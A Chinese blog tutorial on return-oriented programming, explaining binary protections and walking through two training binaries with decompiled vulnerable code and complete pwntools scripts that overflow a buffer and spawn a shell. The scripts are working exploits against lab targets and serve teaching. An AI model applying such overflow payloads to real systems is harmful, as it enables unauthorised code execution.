ROP的基本原理和实战教学

ROP的基本原理和实战教学

ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。我们可以发现栈溢出的控制点是ret处,那么ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。

二进制程序保护机制

RELRO:Relocation Read-Only,重定位表只读。设置符号重定向表格为只读或在程序启动时就解析并绑 定所有动态符号,从而减少对 GOT 表的攻击。如果 RELRO 为“Partial RELRO”,说明对 GOT 表具有写权限。

**Stack canary:**函数开始执行时先在栈帧基址 (如 EBP 位置) 附近插入 cookie 信息(标记),当函数返回后验证 cookie 信息是否合法, 如果不合法就停止程序运行。攻击者在执行溢出时,在覆盖返回地址的时候往往也会覆盖 cookie 信息,导致栈保护检查失败从而阻止 shellcode 的执行。

ASLR:Address Space Layout Randomization,地址空间布局随机化。通过对堆、栈、共享库等加载地址随机化,增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置。随机化影响的是程序加载的 基地址,页内偏移不会发生变化。

PIE: Position Independent Executable,地址无关的可执行文件,每次加载程序时都变换 text、 data、bss 等段的加载基地址,使得攻击者难以定位相应的基地址执行溢出。

NX: NX(No-execute)是一种DEP数据执行保护技术,基本原理是将数据所在的内存标识为不可执行,当程序溢出成功后转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常不去执行恶意代码。

为什么要ROP?

随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。所以就需要ROP对其进行绕过。

ROP靶场

ret2shellcode

将返回地址覆盖到我们插入shellcode的首地址

首先检测程序开启保护,防护措施几乎为0.

反编译获取其源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);//行缓冲
setvbuf(stdin, 0, 1, 0);//全缓冲
puts("No system for you this time !!!");
gets(v4);
strncpy(buf2, v4, 0x64u);
printf("bye bye ~");
return 0;
}

上面代码使用gets()函数读取数据保存到v4中,我们来看看v4在栈中保存位置,在v4保存的100个数据后,接着有s和r这两寄存器,其中r代表rip指令寄存器,保存在函数调用前下一个指令的地址。

代码还将字符串复制到buf2处,我们来跟进查看buf2在BSS段,地址为0804A080。BSS段通常是用来存放程序中未初始化或者初始化为0的全局变量和静态变量的一块内存区域。

1
2
3
4
5
.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
.bss:0804A080

本题思路就是将payload写到buf2的地址,然后继续覆盖直至main()的返回地址覆盖为buf2的地址,这样rip保存的返回地址就跳到了此时buf2保存的payload,如下图:

payload构造方式:

1
payload = shellcode代码+填充数据+buff2的地址

代码如下

1
2
3
4
5
6
7
8
9
10
from pwn import *

buf2 = 0x804a080
shellcode = asm(shellcraft.sh()) #生成shellcode获取shell
print("shellcode:{}".format(shellcode))
payload = shellcode+(112-len(shellcode))*b'a'+p32(buf2)
sh = process('./ret2shellcode')
print(payload)
sh.sendline(payload)
sh.interactive()

shelltext

该程序为32位ELF程序,并且只开启了NX保护,无法写入shellcode

该程序反编译代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(v4);
printf("Maybe I will tell you next time !");
return 0;
}
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h] BYREF
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("/bin/sh");
}

从上面的代码中可以看到,gets()存在溢出点,而且在secure()中存在system(“/bin/sh”)这一句执行系统命令开启shell,正在满足了无法执行shellcode的绕过,只需将system()的地址覆盖到rip寄存器保存的main()的返回地址,就能执行shell。

可以看到system函数地址为0x0804863A

在函数栈中,参数v4是100字节,s是保存的ebp为4字节,r是rip指令寄存器保存函数返回地址。这里我们是直接从函数栈中观察到的,但有时候不是很准确,所以还需使用动态调试去对溢出点进行验证。

生成150个字符用作输入填充数据,使用gdb调试该程序并输入填充字符串运行,结果在0x62616164这个地址报错,这个地址就是溢出点

输入点到eip的距离为112

逆向代码如下

1
2
3
4
5
6
from pwn import *

sh = process('./ret2text')
payload = b'a'*(0x6c+4)+p32(0x804863a)
sh.sendline(payload)
sh.interactive()

运行成功进入shell,可任意执行代码

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信